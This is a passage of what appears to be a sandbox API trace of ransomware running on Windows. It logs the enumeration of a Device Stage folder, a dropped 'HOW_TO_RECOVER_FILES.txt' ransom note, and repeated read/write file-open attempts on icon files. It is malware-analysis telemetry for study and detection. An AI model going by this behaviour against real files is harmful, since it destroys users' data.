FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0136.765] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.766] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0136.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0136.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0136.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0136.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0136.766] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0136.766] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.766] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.766] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0136.767] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0136.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0136.768] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0136.768] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0136.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0136.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0136.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x60 [0136.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a64420 | out: lpFileInformation=0x3a64420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3)) returned 1 [0136.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x60 [0136.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x64 [0136.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a64ca8 | out: lpFileInformation=0x3a64ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8)) returned 1 [0136.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x64 [0136.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.771] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.773] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x68 [0136.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.773] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a65508 | out: lpFileInformation=0x3a65508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8)) returned 1 [0136.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.774] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x68 [0136.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.774] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.776] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x65 [0136.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a65d90 | out: lpFileInformation=0x3a65d90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5)) returned 1 [0136.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.776] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x65 [0136.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.776] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.778] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5f [0136.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a665f0 | out: lpFileInformation=0x3a665f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75)) returned 1 [0136.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.779] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5f [0136.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.781] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x67 [0136.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a66e10 | out: lpFileInformation=0x3a66e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654)) returned 1 [0136.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.781] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x67 [0136.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.781] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.783] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x67 [0136.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), fInfoLevelId=0x0, lpFileInformation=0x3a67680 | out: lpFileInformation=0x3a67680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2)) returned 1 [0136.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.784] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x67 [0136.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.786] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, 